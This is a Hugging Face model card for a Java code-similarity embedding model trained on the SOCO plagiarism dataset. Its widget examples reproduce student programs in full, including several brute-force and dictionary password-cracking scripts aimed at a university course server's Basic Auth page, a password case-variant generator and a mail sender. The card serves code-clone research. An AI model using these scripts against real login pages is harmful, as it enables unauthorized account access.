Model: buelfhood/SOCO-Java-CodeBERTa-TripletLoss-100
Author: buelfhood
Pipeline: sentence-similarity
Library: sentence-transformers
Tags: sentence-transformers, safetensors, roberta, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:42960, loss:BatchAllTripletLoss, loss:TripletLoss, dataset:buelfhood/SOCO_TRAIN_java, arxiv:1908.10084, arxiv:1703.07737, base_model:huggingface/CodeBERTa-small-v1, base_model:finetune:huggingface/CodeBERTa-small-v1, text-embeddings-inference, endpoints_compatible, region:us
Base models (finetune): id: huggingface/CodeBERTa-small-v1
Card metadata: tags: sentence-transformers, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:42960, loss:BatchAllTripletLoss, loss:TripletLoss
base_model: huggingface/CodeBERTa-small-v1
widget: source_sentence: import java.net.*;
import java.io.*;
import java.*;

 public class Dictionary {

   URLConnection conn = null;
   private static boolean status = false;

   public static void main (String args[]){
     Dictionary a = new Dictionary();
     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
     				 "",
     				 ""};
     File file = new File("words");
     exit:
     try {
		 BufferedReader in = new BufferedReader(new FileReader(file));
		 int attempt = 0;
		 inp[2] = in.readLine();
		 while (inp[2] != null) {
	
			 if (inp[2].length() <= 3) {
			 	attempt++;
			 	a.doit(inp);
     		 	if (status) {
			 		 System.out.println("Crrect password is: " + inp[2]);
			 		 System.out.println("Number of attempts = " + attempt);
			 		 break exit;
			 	}
		 	 }
			 inp[2] = in.readLine();
   		}
	 } catch (FileNotFoundException e1) {
		 
		System.err.println("File not found: " + file);
	} catch (IOException e2) {
		
		e2.printStackTrace();
	}

   }

   public void doit(String args[]) {
     
     try {
       BufferedReader in = new BufferedReader(
           new InputStreamReader
              (connectURL(new URL(args[0]), args[1], args[2])));
       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           status = true;
           }
       }
     catch (IOException e) {
   
       }
     }

   public InputStream connectURL (URL url, String uname, String pword)
        throws IOException  {
     conn = url.openConnection();
     conn.setRequestProperty ("Authorization",
     userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }

   public String userNamePasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

   private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

   private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
        case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
        case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
        case 2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }


sentences: import java.net.*;
import java.io.*;

 public class Dictionary {
 int attempts = 0;
   URLConnection conn = null;

   public static void main (String args[]){

	Dictionary a = new Dictionary();
     a.attack(args);
     }

   public void attack(String args[]) {
   try {
       String login = new String("");
       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
       String passwd = new String();


       passwd = getPasswd();
       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));

       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           }
           System.out.println("Password Cracked Successfully!!!");
           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");
       }
     catch (IOException e) {
  
      String r = new String(e.getMessage());
    if ( r != null)
    {
     System.out.println("Message :" +r);
     Dictionary a = new Dictionary();
     a.attack(args);
    }
     else
     {
	System.out.println("Trying again");
	Dictionary a = new Dictionary();
	a.attack(args);
     }
     }
   }
  public String getPasswd()
  {

 int i=0;int j=0;
 attempts++;
 int count =0;
 System.out.println("Passing dictionary word and waiting for URL reply....... ");
  String currentword = "";
  String se = "";
  try{
 FileInputStream reader = new FileInputStream ("words");
 DataInputStream in = new DataInputStream(reader);
 while (in.available() !=0)
{
 currentword = in.readLine();
 count++;
 
 
 }
 }
  catch( IOException e){}

  return currentword;
	 
         }



 public InputStream openURLForInput (URL url, String uname, String pword)
 throws IOException  {
     conn = url.openConnection();
     conn.setDoInput (true);
     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }


 public String userNamePasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

 private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

 private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
         case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
         case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
         case 2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }

, import java.net.*;
import java.io.*;

 public class Bruteforce {
 int attempts = 0;
  int l = 65;int m = 65;int n = 65;
   URLConnection conn = null;

   public static void  main(String args[]){
     
	Bruteforce a = new Bruteforce();
        a.attack(args);
     }

   public void attack(String args[]) {
   try {

       String login = new String("");
       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
       String passwd = new String();

	 passwd = getPasswd();
         BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));

       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           }
           System.out.println("Password Cracked Successfully!!!");
           System.out.println("The passsword is :" + passwd + "and got after " + attempts + " tries");
       }
     catch (IOException e) {
    
      String r = new String(e.getMessage());
    if ( r != null)
    {
     System.out.println("Message :" +r);
     System.out.println("Trying again with new password");
     Bruteforce a = new Bruteforce();
     a.attack(args);
    }
     else
     {
	System.out.println("Trying again with new password");
	Bruteforce a = new Bruteforce();
	a.attack(args);
     }
     }
   }
  public String getPasswd()
  {
    attempts++;

    char i1 = 0;
    char j1 = 0;
    char k1 = 0;
    
     int i= l;     int j= m;     int k= n;

    String c = new String();
    String c1 = new String();
    String c2 = new String();
    String c3 = new String();
    String c4 = new String();
    boolean flag;

    for (i=l;i<123;i++)
    for (j=m;j<123;j++)
    for (k=n;k<123;k++)
    {
        if( flag = true )
        {

    i1 = (char)i;
    j1 = (char)j;
    k1 = (char)k;

    if (i==91) i=97;
    if (j==91) j=97;
    if (k==91) k=97;

    c = i1+"";
    c1 = j1+"";
    c2 = k1+"";
    c3 = c.concat(c1);
    c4 = c3.concat(c2);
    }else break;
    }
    flag = false;
    return c4;
  }

 public InputStream openURLForInput (URL url, String uname, String pword)
 throws IOException  {
     conn = url.openConnection();
     conn.setDoInput (true);
     conn.setRequestProperty ("Authorization", PasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }


 public String PasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

 private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

 private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
         case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
         case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
        case  2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }
, import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Date;
import java.util.Properties;

import javax.mail.Message;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.Message.RecipientType;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;




public class Mailsend
{
    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");
    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");
    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");
    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");


	

	public static void main(String args[])
	{
		try
		{
			
			String smtpServer = SMTP_SERVER;
			String recip = RECIPIENT_EMAIL;
			String from = SENDER_EMAIL;
			String subject = MESSAGE_HEADER;
			String body = "Testing";

			System.out.println("Started sending the message");
			Mailsend.send(smtpServer,recip , from, subject, body);
		}
		catch (Exception ex)
		{
			System.out.println(
				"Usage: java mailsend"
					+ " smtpServer toAddress fromAddress subjectText bodyText");
		}

		System.exit(0);
	}


	
	public static void send(String smtpServer, String receiver,	String from, String subject, String body)

	{
		try
		{
			Properties props = System.getProperties();

			

			props.put("mail.smtp.host", smtpServer);
			props.put("mail.smtp.timeout", "20000");
			props.put("mail.smtp.connectiontimeout", "20000");

			
			Session session = Session.getDefaultInstance(props, null);


			
			Message msg = new MimeMessage(session);

			
			msg.setFrom(new InternetAddress(from));
			msg.setRecipients(Message.RecipientType.NORMAL,	InternetAddress.parse(receiver, false));



			
			msg.setSubject(subject);

			msg.setSentDate(new Date());

			msg.setText(body);

			
			Transport.send(msg);

			System.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);

		}
		catch (Exception ex)
		{
			ex.printStackTrace();
		}
	}
}
, source_sentence: import java.net.*;
import java.io.*;
import java.*;

 public class Dictionary {

   URLConnection conn = null;
   private static boolean status = false;

   public static void main (String args[]){
     Dictionary a = new Dictionary();
     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
     				 "",
     				 ""};
     File file = new File("words");
     exit:
     try {
		 BufferedReader in = new BufferedReader(new FileReader(file));
		 int attempt = 0;
		 inp[2] = in.readLine();
		 while (inp[2] != null) {
	
			 if (inp[2].length() <= 3) {
			 	attempt++;
			 	a.doit(inp);
     		 	if (status) {
			 		 System.out.println("Crrect password is: " + inp[2]);
			 		 System.out.println("Number of attempts = " + attempt);
			 		 break exit;
			 	}
		 	 }
			 inp[2] = in.readLine();
   		}
	 } catch (FileNotFoundException e1) {
		 
		System.err.println("File not found: " + file);
	} catch (IOException e2) {
		
		e2.printStackTrace();
	}

   }

   public void doit(String args[]) {
     
     try {
       BufferedReader in = new BufferedReader(
           new InputStreamReader
              (connectURL(new URL(args[0]), args[1], args[2])));
       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           status = true;
           }
       }
     catch (IOException e) {
   
       }
     }

   public InputStream connectURL (URL url, String uname, String pword)
        throws IOException  {
     conn = url.openConnection();
     conn.setRequestProperty ("Authorization",
     userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }

   public String userNamePasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

   private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

   private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
        case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
        case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
        case 2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }


sentences: import java.net.*;
import java.io.*;

 public class Bruteforce {
 int attempts = 0;
  int l = 65;int m = 65;int n = 65;
   URLConnection conn = null;

   public static void  main(String args[]){
     
	Bruteforce a = new Bruteforce();
        a.attack(args);
     }

   public void attack(String args[]) {
   try {

       String login = new String("");
       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
       String passwd = new String();

	 passwd = getPasswd();
         BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));

       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           }
           System.out.println("Password Cracked Successfully!!!");
           System.out.println("The passsword is :" + passwd + "and got after " + attempts + " tries");
       }
     catch (IOException e) {
    
      String r = new String(e.getMessage());
    if ( r != null)
    {
     System.out.println("Message :" +r);
     System.out.println("Trying again with new password");
     Bruteforce a = new Bruteforce();
     a.attack(args);
    }
     else
     {
	System.out.println("Trying again with new password");
	Bruteforce a = new Bruteforce();
	a.attack(args);
     }
     }
   }
  public String getPasswd()
  {
    attempts++;

    char i1 = 0;
    char j1 = 0;
    char k1 = 0;
    
     int i= l;     int j= m;     int k= n;

    String c = new String();
    String c1 = new String();
    String c2 = new String();
    String c3 = new String();
    String c4 = new String();
    boolean flag;

    for (i=l;i<123;i++)
    for (j=m;j<123;j++)
    for (k=n;k<123;k++)
    {
        if( flag = true )
        {

    i1 = (char)i;
    j1 = (char)j;
    k1 = (char)k;

    if (i==91) i=97;
    if (j==91) j=97;
    if (k==91) k=97;

    c = i1+"";
    c1 = j1+"";
    c2 = k1+"";
    c3 = c.concat(c1);
    c4 = c3.concat(c2);
    }else break;
    }
    flag = false;
    return c4;
  }

 public InputStream openURLForInput (URL url, String uname, String pword)
 throws IOException  {
     conn = url.openConnection();
     conn.setDoInput (true);
     conn.setRequestProperty ("Authorization", PasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }


 public String PasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

 private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

 private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
         case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
         case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
        case  2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }
, 
public class CasePasswords
{

    
    static int verbose = CrackingConstants.quietMode;

    
	
	public void CasePasswords()
	{
    }

	
	public void CasePasswords(int inVerbose)
	{
	    verbose = inVerbose;
    }

	
    public String [] createCasedPasswords( int leftIndex, int  midIndex, int rightIndex, String tail, String [] lowerChars, String [] upperChars, int scanType)
    {
        String [] casedPasswords = null;
        
        
        
        if(scanType == CrackingConstants.casedScan)
            if(rightIndex > -1)
            {
                
                casedPasswords = new String[8];
            }
            else if(midIndex > -1)
            {
                
                casedPasswords = new String[4];
            }
            else
            {
                
                casedPasswords = new String[2];
            }
        else  
        {
            
            casedPasswords = new String[1];
        }	
                
        
        
        
        if(scanType == CrackingConstants.casedScan)
        {
            if(rightIndex > -1)
            {
                
                casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex];
                casedPasswords[1] = upperChars[leftIndex] + upperChars[midIndex] + upperChars[rightIndex];
                casedPasswords[2] = lowerChars[leftIndex] + lowerChars[midIndex] + upperChars[rightIndex];
                casedPasswords[3] = lowerChars[leftIndex] + upperChars[midIndex] + lowerChars[rightIndex];
                casedPasswords[4] = upperChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex];
                casedPasswords[5] = upperChars[leftIndex] + upperChars[midIndex] + lowerChars[rightIndex];
                casedPasswords[6] = upperChars[leftIndex] + lowerChars[midIndex] + upperChars[rightIndex];
                casedPasswords[7] = lowerChars[leftIndex] + upperChars[midIndex] + upperChars[rightIndex];
            }
            else if(midIndex > -1)
            {
                
                casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex];
                casedPasswords[1] = upperChars[leftIndex] + upperChars[midIndex];
                casedPasswords[2] = lowerChars[leftIndex] + lowerChars[midIndex];
                casedPasswords[3] = lowerChars[leftIndex] + upperChars[midIndex];
            }
            else
            {
                
                casedPasswords[0] = lowerChars[leftIndex];
                casedPasswords[1] = upperChars[leftIndex];
            }
        }
        else	
        {
            if(rightIndex > -1)
            {
                
                casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex];
            }
            else if(midIndex > -1)
            {
                
                casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex];
            }
            else
            {
                
                casedPasswords[0] = lowerChars[leftIndex];
            }
        }	
        
        
        
        
        
        if("" != tail)
        	for( i = 0; i < casedPasswords.length; i++)
        		casedPasswords[i] += tail;
                        
	    if(verbose  == CrackingConstants.verboseMode2)
	        printPasswords(casedPasswords);

        return casedPasswords;
    }  
    
	
    public String [] createCasedPasswords(String candidate, int  scanType)
    {
        
        int candLength = candidate.length();
        int arrayLength = 2 ^ candLength;
        arrayLength = 1;
        String [] shortCasedPasswords = new String[1];
        String [] casedPasswords = null;
        char[] password = new char [candidate.length()];
        
        
        if(scanType != CrackingConstants.simpleScan)
            candidate.getChars(0, candidate.length(), password, 0);
        
        
        
        
        
        
        
        
        
        
        if(scanType == CrackingConstants.simpleScan)
        {
            
            
            casedPasswords = new String[1];
            casedPasswords[0] = candidate;
        }
        else if(candidate.length() == 1)
        {
            casedPasswords = new String[2];
            casedPasswords[0] = Character.toString(Character.toLowerCase(password[0]));
            casedPasswords[1] = Character.toString(Character.toUpperCase(password[0]));
            
        }
        else if (candidate.length() == 2)
        {
            casedPasswords = new String[4];
            casedPasswords[0] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1]));
            casedPasswords[1] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1]));
            casedPasswords[2] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1]));
            casedPasswords[3] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1]));
            
        }
        else if (candidate.length() == 3)
        {
            casedPasswords = new String[8];
            casedPasswords[0] = Character.toLowerCase(password[0]) + Character.toString(Character.toLowerCase(password[1]))  + Character.toLowerCase(password[2]);
            casedPasswords[1] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))  + Character.toUpperCase(password[2]);
            casedPasswords[2] = Character.toLowerCase(password[0]) + Character.toString(Character.toLowerCase(password[1]))  + Character.toUpperCase(password[2]);
            casedPasswords[3] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))  + Character.toLowerCase(password[2]);
            casedPasswords[4] = Character.toUpperCase(password[0]) + Character.toString(Character.toLowerCase(password[1]))  + Character.toLowerCase(password[2]);
            casedPasswords[5] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))  + Character.toLowerCase(password[2]);
            casedPasswords[6] = Character.toUpperCase(password[0]) + Character.toString(Character.toLowerCase(password[1]))  + Character.toUpperCase(password[2]);
            casedPasswords[7] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))  + Character.toUpperCase(password[2]);
            
        }
        else if (candidate.length() > 3)
        {
            casedPasswords = new String[8];
            String tailCharacters = new String(password, 3, (password.length - 3));
            casedPasswords[0] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1]))  + Character.toString(Character.toLowerCase(password[2])) + tailCharacters;
            casedPasswords[1] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1]))  + Character.toString(Character.toUpperCase(password[2])) + tailCharacters;
            casedPasswords[2] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1]))  + Character.toString(Character.toUpperCase(password[2])) + tailCharacters;
            casedPasswords[3] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1]))  + Character.toString(Character.toLowerCase(password[2])) + tailCharacters;
            casedPasswords[4] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1]))  + Character.toString(Character.toLowerCase(password[2])) + tailCharacters;
            casedPasswords[5] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1]))  + Character.toString(Character.toLowerCase(password[2])) + tailCharacters;
            casedPasswords[6] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1]))  + Character.toString(Character.toUpperCase(password[2])) + tailCharacters;
            casedPasswords[7] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1]))  + Character.toString(Character.toUpperCase(password[2])) + tailCharacters;
            
        }
        
	    if(verbose == CrackingConstants.verboseMode2)
	        printPasswords(casedPasswords);

        return casedPasswords;
    }
    
   
	
    private void printPasswords(String [] passwords)
    {
        if(passwords.length > 0)
        {
           for( i = 0; i < passwords.length; i++)	
           {
                System.out.print(passwords[i] + "\t");
           }
           System.out.println("\n");
        }
    }  
    
} 
, import java.net.*;
import java.io.*;

 public class Dictionary {
 int attempts = 0;
   URLConnection conn = null;

   public static void main (String args[]){

	Dictionary a = new Dictionary();
     a.attack(args);
     }

   public void attack(String args[]) {
   try {
       String login = new String("");
       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
       String passwd = new String();


       passwd = getPasswd();
       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));

       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           }
           System.out.println("Password Cracked Successfully!!!");
           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");
       }
     catch (IOException e) {
  
      String r = new String(e.getMessage());
    if ( r != null)
    {
     System.out.println("Message :" +r);
     Dictionary a = new Dictionary();
     a.attack(args);
    }
     else
     {
	System.out.println("Trying again");
	Dictionary a = new Dictionary();
	a.attack(args);
     }
     }
   }
  public String getPasswd()
  {

 int i=0;int j=0;
 attempts++;
 int count =0;
 System.out.println("Passing dictionary word and waiting for URL reply....... ");
  String currentword = "";
  String se = "";
  try{
 FileInputStream reader = new FileInputStream ("words");
 DataInputStream in = new DataInputStream(reader);
 while (in.available() !=0)
{
 currentword = in.readLine();
 count++;
 
 
 }
 }
  catch( IOException e){}

  return currentword;
	 
         }



 public InputStream openURLForInput (URL url, String uname, String pword)
 throws IOException  {
     conn = url.openConnection();
     conn.setDoInput (true);
     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }


 public String userNamePasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

 private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

 private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
         case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
         case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
         case 2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }

, source_sentence: import java.net.*;
import java.io.*;
import java.*;

 public class Dictionary {

   URLConnection conn = null;
   private static boolean status = false;

   public static void main (String args[]){
     Dictionary a = new Dictionary();
     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
     				 "",
     				 ""};
     File file = new File("words");
     exit:
     try {
		 BufferedReader in = new BufferedReader(new FileReader(file));
		 int attempt = 0;
		 inp[2] = in.readLine();
		 while (inp[2] != null) {
	
			 if (inp[2].length() <= 3) {
			 	attempt++;
			 	a.doit(inp);
     		 	if (status) {
			 		 System.out.println("Crrect password is: " + inp[2]);
			 		 System.out.println("Number of attempts = " + attempt);
			 		 break exit;
			 	}
		 	 }
			 inp[2] = in.readLine();
   		}
	 } catch (FileNotFoundException e1) {
		 
		System.err.println("File not found: " + file);
	} catch (IOException e2) {
		
		e2.printStackTrace();
	}

   }

   public void doit(String args[]) {
     
     try {
       BufferedReader in = new BufferedReader(
           new InputStreamReader
              (connectURL(new URL(args[0]), args[1], args[2])));
       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           status = true;
           }
       }
     catch (IOException e) {
   
       }
     }

   public InputStream connectURL (URL url, String uname, String pword)
        throws IOException  {
     conn = url.openConnection();
     conn.setRequestProperty ("Authorization",
     userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }

